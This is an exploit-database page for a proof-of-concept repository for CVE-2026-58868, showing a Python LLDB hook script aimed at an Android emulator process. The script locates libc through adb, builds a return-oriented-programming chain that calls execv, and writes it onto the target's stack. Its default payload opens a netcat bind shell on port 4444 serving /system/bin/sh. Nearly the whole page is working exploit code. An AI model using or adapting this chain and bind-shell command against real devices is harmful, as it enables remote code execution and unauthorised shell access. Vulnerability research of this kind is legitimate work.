Exploit databaseDownload repository ZIP
GH-6e0f88ff03ddf4d23f187227c961c0ab
redfishrouge/cve-2026-58868-poc
Sources for CVE-2026-58868
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files9
redfishrouge/cve-2026-58868-pocRevision d37c7a14b9c3
- ↑..Parent directory
- build_harness.sh
- harness.cpp
- hook_arm64.py
- hook_x86_64.py
- killall.sh
- lldb_emulator.sh
- restart.sh
- run_emulator.sh
- run_pixel.sh
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
rce/hook_x86_64.py
Python · 3,934 bytesimport lldb
import subprocess
import struct
ADB = "/opt/sdk/platform-tools/adb"
SER = "emulator-5554"
HITS = {"n": 0}
def adb(*args):
return subprocess.check_output([ADB, "-s", SER, *args], text=True)
def mem_read(proc, addr, size):
err = lldb.SBError()
data = proc.ReadMemory(addr, size, err)
return data if err.Success() else None
def write(proc, addr, data):
err = lldb.SBError()
ok = proc.WriteMemory(addr, data, err)
return ok and err.Success()
def trace_hit(frame, bp_loc, internal_dict):
n = bp_loc.GetBreakpoint().GetID()
rip = frame.FindRegister("rip").GetValueAsUnsigned()
try:
rdi = frame.FindRegister("rdi").GetValueAsUnsigned()
rsi = frame.FindRegister("rsi").GetValueAsUnsigned()
print("TRACE bp%d rip=%x rdi=%x rsi=%x" % (n, rip, rdi, rsi))
except Exception:
print("TRACE bp%d rip=%x" % (n, rip))
return False
def on_hit(frame, bp_loc, internal_dict):
HITS["n"] += 1
proc = frame.GetThread().GetProcess()
if HITS["n"] == 3:
rdi = frame.FindRegister("rdi").GetValueAsUnsigned()
rsi = frame.FindRegister("rsi").GetValueAsUnsigned()
print("EXEC rdi=%x %r" % (rdi, mem_read(proc, rdi, 32)))
print("ARGV %r" % (mem_read(proc, rsi, 40),))
return True
if HITS["n"] < 2:
print("HOOK hit1")
return False
rsp = frame.FindRegister("rbp").GetValueAsUnsigned() + 8
_rbp = frame.FindRegister("rbp").GetValueAsUnsigned()
print("CFA=%x RBP=%x [cfa]=%x [rbp+8]=%x" % (rsp, _rbp, struct.unpack("<Q", mem_read(proc, rsp, 8))[0], struct.unpack("<Q", mem_read(proc, _rbp+8, 8))[0]))
_nb = mem_read(proc, rsp - 0x20, 0x40)
if _nb: print("NB " + " ".join("%016x" % struct.unpack_from("<Q", _nb, o)[0] for o in range(0, 0x40, 8)))
pid = proc.GetProcessID()
maps = adb("shell", "cat /proc/%d/maps" % pid)
open("/root/maps_hook.txt","w").write(maps)
libc = None
for line in maps.splitlines():
if "/bionic/libc.so" in line:
libc = int(line.split("-")[0], 16)
break
if libc is None:
print("HOOK no libc")
return True
import os
mode = os.environ.get("MODE", "sh")
D = rsp + 0x100
p_sh = libc + 0x1fc6e
ptrs = []
blob = b""
def s(x):
nonlocal blob
off = len(blob)
blob += x + b"\x00"
return D + off
if mode == "sleep":
p_path = s(b"/system/bin/sleep")
blob += b"\x00" * ((0x10 - len(blob) % 0x10) % 0x10)
p_arg0 = s(b"sleep")
p_30 = s(b"30")
ptrs = [p_arg0, p_30]
else:
p_path = s(b"/system/bin/sh")
blob += b"\x00" * ((0x10 - len(blob) % 0x10) % 0x10)
p_arg0 = s(b"sh")
p_dashc = s(b"-c")
p_cmd = s(b"/system/bin/nc -L -p 4444 -- /system/bin/sh 2>/data/misc/media/nc.err; echo $? >/data/misc/media/nc.rc")
ptrs = [p_arg0, p_dashc, p_cmd]
if len(blob) % 8: blob += b"\x00" * (8 - len(blob) % 8)
p_argv = D + len(blob)
blob += b"".join(struct.pack("<Q", q) for q in ptrs) + struct.pack("<Q", 0)
chain = struct.pack("<QQQQQQQ",
libc + 0x66878, # pop rdi ; ret
p_path,
libc + 0x621f2, # pop rsi ; ret
p_argv,
libc + 0x6f190, # execv
libc + 0x6a2f0, # __errno
0xdeadbeefdeadbeef)
if os.environ.get("ONLYRA"):
ok = write(proc, rsp, struct.pack("<Q", 0x4141414141414141))
else:
ok = write(proc, rsp, chain) and write(proc, D, blob)
print("BLOB", repr(mem_read(proc, D, 0x60)))
print("HOOK rsp=%x libc=%x ok=%s" % (rsp, libc, ok))
for off in (0x621f2, 0x6f190):
proc.GetTarget().BreakpointCreateByAddress(libc + off)
try: bp_loc.GetBreakpoint().SetEnabled(False)
except Exception: pass
return False